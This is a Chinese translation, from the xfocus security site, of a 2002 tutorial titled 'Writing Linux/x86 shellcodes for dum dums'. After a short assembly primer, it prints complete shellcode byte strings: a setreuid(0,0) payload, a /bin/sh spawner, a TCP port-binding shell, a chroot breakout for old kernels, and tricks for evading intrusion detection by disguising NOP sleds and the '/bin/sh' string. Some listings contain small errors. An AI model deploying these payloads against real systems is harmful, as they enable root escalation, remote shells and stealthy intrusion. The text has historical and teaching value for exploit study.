xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.


创建时间:2002-08-15
文章属性:翻译
文章提交:1cbm (edp_at_mail.victoriagrandhotel.com)

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

=============================================
作者 : pr1 ( pr10n@u-n-f.com )
翻译 : ICBM@cmmail.com
非常感谢keji指出并改正了原文和翻译中出现的错误,Sank u !
http://www.airarms.org
http://icbm.n3.net
=============================================


-----------------------------------------------------------------------------------------------
Copyright (c) February 2002, Sebastian Hegenbart (a.k.a pr1) and UNF (United Net Frontier)
The following material is property of UNF && pr1.
Do not redistribute this article modified and give proper credit to UNF and pr1 if you
redistribute it or if you write your own article based upon the following material.
-----------------------------------------------------------------------------------------------

1.介绍

在网上并没有几篇好文章介绍怎样编写shellcode,而且很不幸,阅读它们需要有很丰富的汇编知识,所以在这篇文章里我会给大家介绍Linux/x86汇编知识,并且讲解怎么为Linux/x86书写shellcode。但是,这篇文章中对于ASM的介绍并不完整,我只是讲到一些在对于编写shellcode方面很重要的部分。我会很好的解释文章里出现过的代码,但是任何东西都代替不了一本好的ASM书籍和一个反编译器。:)

1.2. shellcode是什么

简单地说shellcode就是一组CPU指令。为什么叫做shellcode呢?是因为第一个shellcode只是简单的获得一个shell。实际上这种功能已经非常原始了:)。因为已经有了远程的shellcode(有UDP也有TCP),破坏chroot的shellcode,给文件加一行信息的shellcode,setreuid的shellcode等等...因为每个人都这样叫它shellcode所以我会在全文中使用shellcode一词。

1.3. 我们用shellcode来做什么?

在我们接管了一个进程(希望是root运行的 suid|sgid|deamon)以后,我们通常会让它做一些有用的事情。这里有很多技术像return into libc,GOT overwrite addys,PLT infection,exploiting .dtors ... 如果你不能执行其它函数来完成你需要的任务(像重写函数指针, ...)你就可能需要使用到shellcode。或许只是简单的用某些缓冲地址来改写%eip,然后向后跳到一组NOPS指令中,你的CPU会从已经被改写过的%eip中向前取址.当你已经编好了一个漏洞攻击程序,在你的输入缓冲区中填入shellcode当%eip指向到shellcode的开始处,它就会被运行.这样你就赢了!

1.4 我要怎么写shellcode

好了,现在让我们进行这篇文章的主要部分.我现在假设你至少有一定的c语言知识.

=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=
2.汇编

ASM是一种低级编程语言。它甚至可以设定你CPU中的晶体管状态.一个IA-32 CPU有很多寄存器,访问这些寄存器要比直接访问内存快得多。你可以通过给寄存器赋值来告诉你的程序要做什么。最重要的寄存器有:%eax,%ebx,%ecx,%edx,%esp,%esi,%eip,%edi。所有32位CPU的寄存器都是4字节长。你可能认为这些寄存器的名字取得没有一点创意,但你错了:

# %eax 是累加器。当有系统调用发生时内核会检查%eax中的值,这个值会被用作系统调用号(每个内核提供的系统调用都有它自己的系统调用号).你可以在/usr/include/asm/unistd.h中具体查找这些系统调用号。

# %ebx 是基址寄存器.我们传递给函数的第一个参数就被放在这个寄存器里面.

# %ecx 第二个参数.

# %edx 第三个参数.

# %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部.

# %ebp 是基址寄存器,它指向当前堆栈储存区域的底部.

# %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器)

# %esi and %edi是段寄存器(用它们可以在你的shellcode里存储用户数据)(译者:原文为%eip and %edi)


2.1 修改寄存器:

有很多命令可以用来修改寄存器.你可以通过给一条指令增加后缀来修改一个字节,一个字或者整个寄存器.

例如:movl,movb,movw (long,byte,word)


# mov ...mov指令用来把某值传送到一个寄存器中(数字或者另一个寄存器的内容...).在AT&T语法中(我会在整篇文章中使用这种语法)目标操作数在右边,原操作数在左边.

# inc,dec ...增加或者减少寄存器的值.

# xor ... 这是位运算操作(包括 not,or,and,xor和neg).

在处理shellcode时xor扮演了一个很特殊的角色.
在这里解释一下xor的基本操作:

1异或0为:1,0和0为:0,1和1为:0,因此 xor 4,4是0(100 xor 100 ==000);

#leal ...(表示读取一个long型的有效地址)你可以使用这个指令把一段内存的地址读取到寄存器中.

# int $0x80这是一个中断.简单地说是用来切换到内核模式然后让内核执行我们的函数.

# push,pop ...在堆栈上读取存储数据.

注意:你可以访问一个寄存器低端字中的高字节或者低字节(%al,%ah),一个寄存器中的低端字或者整个(扩展)寄存器(%eax).但是没有方法访问一个寄存器的高端字.
寄存器可以以字节方式(%al,%bh,...),字方式(%ax,%bx,...)和整个方式(%eax,%ebx,...)访问.


预备了这些知识后我可以写一些asm代码然后再写一些shellcode.


让我们用一个Hello, world开始:) (这是没有办法来代替的)

.data
message:
.string "Hello, world\n"

.globl main
main:

# write(int fd,char *message,ssize_t size);

movl $0x4,%eax # 把/usr/include/asm/unistd.h里定义的系统调用4放到%eax中
movl $0x1,%ebx # 标准输出文件描述符(stdout)
movl $message,%ecx # 把message的地址放到%ecx中
movl $0xc,%edx # message的长度

#exit(int returncode);

movl $0x1,%eax # 系统调用号1
xorl %ebx,%ebx # %ebx置零
inr $0x80

注意:这一段代码应为两个原因不能作为shellcode:
1. 不是绝对地址(因为定义了一个数据段)
2. 因为字符串中包含零字符会中断对于字符串的一般操作.


别着急!现在我就会解释制作shellcode的整个过程 ;)


=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=

3. 书写shellcode


3.1 Setreuid shellcode:

我们先从setreuid(0,0)这个小而简单的shellcode开始.
如果程序在有漏洞的函数执行前去掉了特权(通常使用一个seteuid(getuid()) ),我们就需要一个setreuid或者一个seteuid shellcode.


C代码看起来可能是这个样子:

#include <stdio.h>

main(void) {

setreuid(0,0);
exit(0);
}


080483b0 <main>:
80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx
80483bf: cd 80 int $0x80
80483c1: 8d 76 00 lea 0x0(%esi),%esi
80483c4: 90 nop
80483c5: 90 nop
80483c6: 90 nop
80483c7: 90 nop
80483c8: 90 nop
80483c9: 90 nop
80483ca: 90 nop
80483cb: 90 nop
80483cc: 90 nop
80483cd: 90 nop
80483ce: 90 nop
80483cf: 90 nop


这就是由我们的编译器生成的整个主函数.但是我们只需要setreuid段:


80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx
80483bf: cd 80 int $0x80


因此setreuid shellcode就是这样:

"\xb8\x46\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xb9\x00\x00\x00\x00"
"\xcd\x80"



如果你把上面这个shellcode整个看了一遍,你可能会注意到其中的NULL字节(\x00)比指令还多。但不幸的是我们不能在shellcode中使用任何NULL。因为通常我们要溢出的是c程序,但是在c语言中没有字符串数据类型。而是使用一个字节长的指针(char *)指向内存中的一个字节,一个NULL出现在字符串的结尾。像strcpy,strcat这样的操作字符串的函数但遇到第一个NULL时会停止拷贝,以为它们认为NULL就是字符串的结尾。

因此但我们溢出一个程序时,只有"\xb8\x46\"会被从我们的setreuid shellcode 中拷贝出来。


现在我们所要做的就是重写我们的汇编代码使我们的shellcode中没有NULL字节。就像你看到的这是包含NULL的函数:


80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx


我们必须找到等同的不产生NULL字节的指令:

80483b0: b8 46 00 00 00 movl $0x46,%eax

这个指令被编码成[opcode|destination][4 byte immediate value]。因为我们的立即数只是0x46而操作类型long中的其它字节就没有被使用到。

我们可以写成:

80483c6: 31 c0 xorl %eax,%eax
80483c8: b0 46 movb $0x46,%al

xorl使%eax清零,因为当我们改变低8位的时候我们不能确定%eax是否为空。如果我们没有把寄存器清零当%ah中有其它数值的话内核可能会执行错误的系统调用。movb指令被编码成[opcode|register][1 byte immediate value]格式,所以我们可以在一字节里使用到最大数255。



以下是逻辑上相等的但没有NULL的setreuid代码:


80483b0: 31 c0 xorl %eax,%eax
80483b2: 31 db xorl %ebx,%ebx
80483b4: 31 c9 xorl %ecx,%ecx
80483b6: b0 46 movb $0x46,%al
80483b8: cd 80 int $0x80


这是我们可以工作的shellcode:

"\x31\xc0"
"\x31\xdb"
"\x31\xdb"
"\xb0\x46"
"\xcd\x80"

除了没有NULL之外,一个好的shellcode应该尽可能小。shellcode越小可以放入缓存中的NOPs就越多,因此增加了猜中正确返回地址的机会。


3.2 Making your shellcode portable:

你可能不会知道远程系统太多的信息。或者你没有足够的权限来找出远程系统上的信息。或者你甚至还没有访问远程系统的权限。这样一些原因不要让你写出shellcode只能适用于一种系统。因此在写shellcode时不要使用绝对地址,你需要的数据刚好在正确的地址的机会很小。通常写shellcode时要使用相对地址。

e.g:我们不会写成:jmp 0x80483b8而我们写成:jmp $0x1a


3.3 获得shell的shellcode:


用c获得一个shell是这样的:

#include <stdio.h>

main(void) {
char *name[2];

name[0]="/bin/sh";
name[1]=NULL;

execve(name[0],name,NULL);
}


就像你所看到的,我们需要一个字符串( "/bin/sh" )让execve知道我们想要运行什么。但是我们必须找到引用"/bin/sh"的相对地址。



如果你了解一些关于Intel构架和通用CPU构架的知识,你就可能会知道要被执行的下一条指令的内存地址被存放在%eip中通常被叫做pc或者program counter。如果程序调用了一个子函数,子函数返回后将要执行的指令的地址一定会被存储到某个地方。

相关于一些Risc CPU这个地址可以像这样被存储的寄存器种:

jal addy,reg /* 跳转到addy然后把pc+4存储到reg */
jr reg /* 我们的子函数返回跳转到存储在reg中的addy */


对于我们的Intel Cisc:

call sub_func /* 跳到子函数然后把%eip+4压入堆栈 */
ret /* 函数跳回到堆栈上存储的地址 */


我们可以说下一条指令的地址被call压入堆栈中。

因此我们可以使用一个小窍门:

call some_offset /* 调用被压入堆栈的"/bin/sh" ( pc+4 )的地址 */
.string "/bin/sh"


注意到字符串"/bin/sh"位于.text ( 或者code )段。CPU不应该执行这段代码:"/bin/sh"(2f62696e2f7368)因为它只是我们需要的字符串,所以我们应该让CPU跳过执行这段代码。

让我们来看一个得到这个字符串"/bin/sh"的地址,并且能够避免执行这段代码"/bin/sh"(2f62696e2f7368)的完整的例子。

.globl main
main:

jmp to_call
after_jmp:

popl %esi /* 地址现在已经在%esi里了 */

/* 退出 */
xorl %eax,%eax
incl %eax
int $0x80

to_call:
call after_jmp (译者:原文为call offset)
.string "/bin/sh"


我们跳到call让它工作,然后返回,从堆栈pop出地址然后退出。

static char lnx_execve[]=

"\xeb\x1d" // jmp 0x1d /* 得到 "/bin/sh" 地址 */
"\x5b" // popl %ebx /* 出栈 "/bin/sh" 的地址 */
"\x31\xc0" // xorl %eax,%eax
"\x89\x5b\x08" // movl %ebx,0x8(%ebx) /* 把地址拷贝到 %ebx+0x8 */
"\x88\x43\x07" // movb %al,0x7(%ebx) /* 用NULL做字符串的结束符 */
"\x89\x43\x0c" // movl %eax,0xc(%ebx) /* 用NULL做参数的结束符 */
"\x8d\x4b\x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh的地址读到 %ecx */
"\x8d\x53\x0c" // leal 0xc(%ebx),%edx /* 把NULL读到 %edx */
"\xb0\x0b" // movb $0xb,%al /* 执行系统调用 */
"\xcd\x80" // int $0x80
"\x31\xc0" // xorl %eax,%eax /* 然后退出避免无限循环 */
"\x21\xd8" // andl %ebx,%eax
"\x40" // incl %eax
"\xcd\x80" // int $0x80
"\xe8\xde\xff\xff\xff" // call -0xde
"/bin/sh";


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

4.0 更高级的Shellcodes:


顾及到远程溢出我们需要其它种类的shellcode。我们不能只从远程获得一个shell。因此我们的shellcode需要网络能力。绑定一个shell到一个端口我们可以这样写:



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>


main(void) {
char *exec[2];
int fd,fd2;
struct sockaddr_in addy;


addy.sin_addr.s_addr = INADDR_ANY;
addy.sin_port = htons(1337);
addy.sin_family = AF_INET;

exec[0]="/bin/sh";
exec[1]="sh";

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

bind(fd,&addy,sizeof(struct sockaddr_in));
listen(fd,1);


fd2 = accept(fd,NULL,0);

dup2(fd2,0);
dup2(fd2,1);
dup2(fd2,2);

execl(exec[0],exec,NULL);
}



对c语言来说这是一个非常简单的工作。现在我们用汇编语言尝试同样的东西。


4.1. Socket 系统调用

通常系统调用数被放到%eax中然后将其它的参数放入后面的寄存器中。在使用内核中断后我们的工作就被完成了。函数退出时的参数会多于存放你的参数的寄存器数,因此只是简单的把你的参数存放到用户内存区域然后再把它地址存到一个寄存器中。

涉及到socket系统调用( socket, bind, listen, accept,... )这就有点不同了。每一个socket调用都是用系统调用数0x66。所以内核是怎么知道使用那一个系统调用呢?这是通过使用存放在%ebx中的一个子码来实现的。


一些重要的的子码:

socket() 1
bind() 2
listen() 4
accept() 5

请查看<linux/net.h>。

4.2. Sockaddr_in的数据结构:

我们还得看看Sockaddr_in的数据结构:

struct sockaddr_in {

uint8_t sin_len; /* 数据结构的长度,在这里对于AF_INET(ipv4)是0x10。2 字节 */

sa_family_t sin_family; /* 2字节包含AF_INET(定义为2)*/

in_port_t sin_port; /* 2字节的TCP或者UDP端口数 */

struct in_addr sin_addr /* 4 字节,通常包含服务器地址但是我们想帮定我们自己的地址一次让它为0(对于INADDR_ANY同样) */
char sin_zero[8]; /* 也应该为0 */
};



4.3.端口绑定 shellcode:


static char bind[]=

/* socket(int domain, int type, int protocol); */

"\x31\xc0" // xorl %eax,%eax
"\x89\x46\x10" // movl %eax, 0x10(%esi) /* 第三个参数IPPROTO_TCP */
"\x40" // incl %eax
"\x89\xc3" // movl %eax, %ebx
"\x89\x46\x0c" // movl %eax, 0xc(%esi) /* 第二个参数SOCK_STREAM */
"\x40" // incl %eax
"\x89\x46\x08" // movl %eax, 0x8(%esi) /* 第一个参数AF_INET */
"\x8d\x4e\x08" // leal 0x8(%esi), %ecx
"\xb0\x66" // movb $0x66, %al
"\xcd\x80" // int $0x80

/* listen(int fd, int backlog); */

"\x43" // incl %ebx
"\x88\x46\x04" // movb %al,0x4(%esi) /* 保存从socket返回的fd */
"\x31\xc0" // xorl %eax,%eax
"\xc6\x46\x0c\x10" // movb $0x10,0xc(%esi) /* sockaddr_in的长度 */
"\x66\x89\x5e\x10" // movb %bx,0x10(%esi) /* AF_INET */
"\x89\x46\x14" // movl %eax,0x14(%esi) /* INADDR_ANY */
"\x89\xc2" // movl %eax,%edx
"\xb0\x90" // movw $0x90,%al /* sin_port */
"\x66\x89\x46\x12" // movb %ax,0x12(%esi)
"\x8d\x4e\x10" // leal 0x10(%esi),%ecx
"\x89\x4e\x08" // movl %ecx,0x8(%esi) /* 把struct保存到offset 0x8 */
"\x8d\x4e\x04" // leal 0x4(%esi),%ecx /* 把struct和fd保存到%ecx */
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* bind(int fd, struct sockaddr_in *my_addy, socklen_t addrlen); */

"\x89\x5e\x08" // movl %ebx,0x8(%esi)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* accept(int fd, struct sockaddr_in *addy, socklen_t *addrlen); */

"\x89\x56\x08" // movl %edx,0x8(%esi) /* addy为指向NULL的指针 */
"\x89\x56\x0c" // movl %edx,0xc(%esi) /* addrlen也是指向NULL的指针 */
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* dup2(int old, int new) */

"\x86\xc3" // xchg %al,%bl /* 从accept返回的fd是第一个参数 */
"\x31\xc9" // xorl %ecx,%ecx /* stdin */
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

"\x41" // incl %ecx /* stdout */
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

"\x41" // incl %ecx /* stderr */
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80


/* execve(cons char *filename, char *const argv[], char *const envp[]); */

"\xeb\x1d" // jmp 0x1d /* 获得"/bin/sh"的地址 */
"\x5b" // popl %ebx /* "/bin/sh"的地址出栈 */
"\x31\xc0" // xorl %eax,%eax
"\x89\x5b\x08" // movl %ebx,0x8(%ebx) /* 拷贝地址到%ebx+0x8 */
"\x88\x43\x07" // movb %al,0x7(%ebx) /* 中断字符串的NULL */
"\x89\x43\x0c" // movl %eax,0xc(%ebx) /* 中断参数的NULL */
"\x8d\x4b\x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh"的地址放入%ecx */
"\x8d\x53\x0c" // leal 0xc(%ebx),%edx
"\xb0\x0b" // movb $0xb,%al /* execve系统调用 */
"\xcd\x80" // int $0x80
"\x31\xc0" // xorl %eax,%eax
"\x21\xd8" // andl %ebx,%eax
"\x40" // incl %eax
"\xcd\x80" // int $0x80
"\xe8\xde\xff\xff\xff" // call -0xde
"/bin/sh";



注意: 这个shellcode还没有被完全优化,所以看起来有些臃肿.在execve部分它可以被进一步优化( 它是我们原始的execve代码)。为了更适合阅读所以我没有完全优化它,因为我们的目的只是展示怎样去写一个绑定端口的shellcode.


=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-=
5. Chroot breaking shellcode:

注意: 在linux内核2.4.6到2.4.13之间chroot被改变了。所以这个方法只工作在kernels
<= 2.4.5。

有时有些守护进程像ftps,httpd,...运行在所谓的change-root陷阱中。
这就意味着你的home文件夹被改变到path = "/"里,因此你的homedir是/(注意这并不是真正的根目录)你不能执行cd .. 。也不能获得一个shell因为/home/pr1/bin/sh并不真是存在(如果我们假设/home/pr1被设置成根目录)。对于计算安全来说很不幸,你可以跳出这个限制。

这是一个非常简单的任务:

* 建立一个其它文件夹
* chroot到这个文件夹
* 使用chroot("../../../");


这是我们跳出chroot限制的c程序:

#include <unistd.h>

main(void) {
mkdir("pr1",0755);
chroot("pr1");
chroot("../../../../../../../../../../");
}


Note: 我们用汇编建立一个名叫sh的文件夹. 我们可以使用我们要执行的shell的字符串来作为文件夹名. 这样我们可以缩减并且简化我们的代码. :)


static char chroot[]=
"\xeb\x4e" // jmp 0x4e

/* mkdir(); */
"\x31\xc0" // xorl %eax,%eax
"\x5e" // popl %esi /* 现在/bin/sh的地址在%esi里 */
"\x8d\x5e\x05" // leal 0x5(%esi),%ebx /* sh的地址到%ebx里 */
"\x66\xb9\xed\x01" // movw $0x1ed,%cx /* 0755 mode flag */
"\xb0\x27" // movb $0x27,%al /* 系统调用mkdir */
"\xcd\x80" // int $0x80

/* chroot(); */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3d" // movb $0x3d,%al /* 系统调用chroot,sh还在%ebx里 */
"\xcd\x80" // int $0x80

/* chroot("../"); */
"\x31\xc0" // xorl %eax,%eax
"\xbb\xd2\xd1\xd1\xff" // movl $0xffd0d1d1,%ebx
"\xf7\xdb" // negl %ebx

/* We put "../" into %ebx.
* "../" encodes into "\x2e\x2e\x2f" intel is little endian and we thus have to put
* "\x2f\x2e\x2e" into the register. Thus we put 0xffd0d1d1 into %ebx and perform a not
* on this value. This results in our wished "\x2f\x2e\x2e".
*/


"\x31\xc9" // xorl %ecx,%ecx
"\xb1\x10" // movb $0x10,%cl /* 循环16次 */
"\x56" // pushl %esi /* 保存字符串"/bin/sh" */

/* 定义段寄存器。从0x10(%esi)开始 */

"\x01\xce" // addl %ecx,%esi

"\x89\x1e" // movl %ebx,(%esi) /* 写入到esi指向的地址中 */
"\x83\xc6\x03" // addl %0x3,%esi /* 累加段寄存器 */
"\xe0\xf9" // loopne -0x7
"\x5e" // popl %esi /* 字符串"/bin/sh"出栈 */
"\xb0\x3d" // movb $0x3d,%al /* 系统调用chroot */
"\x8d\x5e\x10" // leal 0x10(%esi),%ebx /* 这就是我们的../../..字符串 */
"\xcd\x80" // int $0x80

/* execve */
"\x31\xc0" // xorl %eax,%eax
"\x89\x76\x08" // movl %esi,0x8(%esi)
"\x89\x46\x0c" // movl %eax,0xc(%esi)
"\xb0\x0b" // movb $0xb,%al
"\x89\xf3" // movl %esi,%ebx
"\x8d\x4e\x08" // leal 0x8(%esi),%ecx
"\x8d\x56\x0c" // leal 0xc(%esi),%edx
"\xcd\x80" // int $0x80

/* exit */
"\x31\xc0" // xorl %eax,%eax
"\x21\xd8" // andl %ebx,%eax
"\x40" // incl %eax
"\xcd\x80" // int $0x80
"\xe8\xad\xff\xff\xff" // call -0xad
"/bin/sh";


注意: 这个技巧不是来自于TaeHo的chroot shellcode.


=-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-=
6. IDS-evasive Codes:

一些入侵监测系统通过计算收到的数据包中的NOP或类似于NOP的指令来检测是否为有害代码。 (如果你不知道NOP是什么:它是一条什么任务都不做的指令,在攻击代码中被用来获得最大的猜中正确buffer地址的机会。如果你执行到一个NOP,代码就会继续执行直到遇到你的shellcode。)

然而这种技术可以被骗过:


第一种方法是使用1 byte jump:
把\x90 ( nop )替换为"\xeb\x01" ( jmp 0x1 )


另一种方法是使用其它NOP类似的指令比如:
incl %eax,incl %ebx,incl %ecx,incl %edx:

编码为: \x40,\x43,\x41,\x42
你当然也可以把它们混合起来使用。


另外一种很好的方法:
movl $0x41414141,%eax

编码为: \xb8\x41\x41\x41\x41
假设你执行到了一个\x41 ->cpu会执行incl %ecx直到碰到\xb8后%eax会被写入0x41414141。

你可以把它和下面的指令混合起来使用:
movl $0x43434343,%ebx

编码为: \xbb\x43\x43\x43\x43 会有相同结果。




6.1. Hiding the "/bin/sh" string:

另一种检测攻击代码的方法是查找像"/bin/sh"一类的字符串。写一个
把所有小写子母转换成大写子母的程序。


#include <stdio.h>

main(int argc,char *argv[]) {

char buf[512];
int i;

for(i=0;i<strlen(argv[1]);i++) {
argv[1][i] = toupper( argv[1][i] );
}
printf("%s\n",argv[1]);
}


我们普通的shell spawning shellcode为:

"\xeb\x1d" // jmp 0x1d
"\x5b" // popl %ebx
"\x31\xc0" // xorl %eax,%eax
"\x89\x5b\x08" // movl %ebx,0x8(%ebx)
"\x88\x43\x07" // movb %al,0x7(%ebx)
"\x89\x43\x0c" // movl %eax,0xc(%ebx)
"\x8d\x4b\x08" // leal 0x8(%ebx),%ecx
"\x8d\x53\x0c" // leal 0xc(%ebx),%edx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
"\x31\xc0" // xorl %eax,%eax
"\x21\xd8" // andl %ebx,%eax
"\x40" // incl %eax
"\xcd\x80" // int $0x80
"\xe8\xde\xff\xff\xff" // call -0xde
"/bin/sh";


小写字母在 \x61 (a) 到 \x7a (z)之间。

除了字符串"/bin/sh"我们的shellcode不包含任何小写字母。
把字符串"/bin/sh"写成十六进制:\x2f\x62\x69\x6e\x2f\x73\x68
如果我们把字符串里所有的字母都减去20就会得到:
"\x2f\x42\x49\x4e\x2f\x53\x48"。但是我们通过给它们加上$0x20改变这个值,要不我们就会执行 "\x2f\x42\x49\x4e\x2f\x53\x28" 而不是"/bin/sh".因为"/"不是字母所以我们可以不用管它。


static char hide[]=
"\xeb\x31" // jmp 0x31
"\x5b" // popl %ebx
"\x80\x43\x01\x20" // addb $0x20,0x1(%ebx) <- we simply add 0x20 to our string
"\x80\x43\x02\x20" // addb $0x20,0x2(%ebx)
"\x80\x43\x03\x20" // addb $0x20,0x3(%ebx)
"\x80\x43\x05\x20" // addb $0x20,0x5(%ebx)
"\x80\x43\x06\x20" // addb $0x20,0x6(%ebx)
"\x31\xc0" // xorl %eax,%eax
"\x89\x5b\x08" // movl %ebx,0x8(%ebx)
"\x88\x43\x07" // movb %al,0x7(%ebx)
"\x89\x43\x0c" // movl %eax,0xc(%ebx)
"\x8d\x4b\x08" // leal 0x8(%ebx),%ecx
"\x8d\x53\x0c" // leal 0xc(%ebx),%edx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
"\x31\xc0" // xorl %eax,%eax
"\x21\xd8" // andl %ebx,%eax
"\x40" // incl %eax
"\xcd\x80" // int $0x80
"\xe8\xca\xff\xff\xff" // call -0xca
"\x2f\x42\x49\x4e\x2f\x53\x48"; // 隐藏的字符串/bin/sh


如果在你的shellcode里有包含任何小写字母的指令,可以把这个指令减去其它逻辑相等的.


=-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=
7. Post word:

拥有了这些知识后你现在可以写出自己的shellcode了。我希望你能在这篇文章中找到阅读的乐趣,如果浪费了你的时间我感到很抱歉。
如果有什么意见可以mail我: <pr10n@u-n-f.com>


Written by pr1 ( pr10n@u-n-f.com ).


greets to: teso, usf and thc

-----------------------------------------------------------------------------------------------
\x00
-----------------------------------------------------------------------------------------------